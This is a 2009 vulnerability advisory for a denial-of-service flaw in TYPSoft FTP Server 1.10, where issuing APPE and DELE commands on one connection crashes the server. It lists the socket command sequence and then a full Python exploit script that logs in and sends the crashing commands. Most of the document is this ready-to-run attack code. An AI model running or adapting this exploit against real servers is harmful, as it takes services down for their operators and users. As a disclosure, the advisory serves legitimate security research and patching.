TYPSoft FTP Server Denial Of Service

`Date of Discovery: 24-Nov-2009  
  
Credits:leinakesi[at]gmail.com  
  
Vendor: TYPSoft  
  
Affected:  
TYPSoft FTP Server Version 1.10  
Earlier versions may also be affected  
  
Overview:  
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service vulnerability exists in TYPSoft FTP Server when   
  
"APPE" and "DELE" commands are used in the same socket connection.  
  
Details:  
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to   
  
Denial of Service attack:  
  
1.sock.connect((hostname, 21))  
2.sock.send("user %s\r\n" %username)  
3.sock.send("pass %s\r\n" %passwd)  
4.sock.send("PORT 127,0,0,1,122,107\r\n")  
5.sock.send("APPE "+ test_string +"\r\n")  
6.sock.send("DELE "+ test_string +"\r\n")  
7.sock.close()  
  
  
Severity:  
High  
  
Exploit example:  
  
#!/usr/bin/python  
import socket  
import sys  
import time  
  
def Usage():  
print ("Usage: ./expl.py <local_ip> <serv_ip> <Username> <password>\n")  
print ("Example:./expl.py 127.0.0.1 127.0.0.1 anonymous anonymous\n")  
print ("Example:./expl.py 192.168.48.183 192.168.48.111 anonymous anonymous\n")  
if len(sys.argv) <> 5:  
Usage()  
sys.exit(1)  
else:  
local=sys.argv[1]  
hostname=sys.argv[2]  
username=sys.argv[3]  
passwd=sys.argv[4]  
test_string="a"*30  
ip_every=local.split('.')  
for i in range(1,10000):  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((hostname, 21))  
except:  
print ("Connection error!")  
sys.exit(1)  
r=sock.recv(1024)  
print "[+] "+ r  
sock.send("user %s\r\n" %username)  
print "[-] "+ ("user %s\r\n" %username)  
r=sock.recv(1024)  
print "[+] "+ r  
sock.send("pass %s\r\n" %passwd)  
print "[-] "+ ("pass %s\r\n" %passwd)  
r=sock.recv(1024)  
print "[+] "+ r  
  
sock_data.bind((local,31339))  
sock_data.listen(1)  
  
sock.send("PORT " + ip_every[0] +","+ ip_every[1] +","+ ip_every[2] +"," + ip_every[3] + ",122,107\r\n")  
print "[-] "+ ("PORT " + local + "122,107\r\n")  
r=sock.recv(1024)  
print "[+] "+ r  
  
sock.send("APPE "+ test_string +"\r\n")  
print "[-] "+ ("APPE "+ test_string +"\r\n")  
r=sock.recv(1024)  
print "[+] "+ r  
  
sock.send("DELE "+ test_string +"\r\n")  
print "[-] "+ ("DELE "+ test_string +"\r\n")  
r=sock.recv(1024)  
print "[+] "+ r   
  
sock.close()  
sock_data.close()  
time.sleep(2)  
  
  
  
  
  
sys.exit(0);  
  
  
  
  
`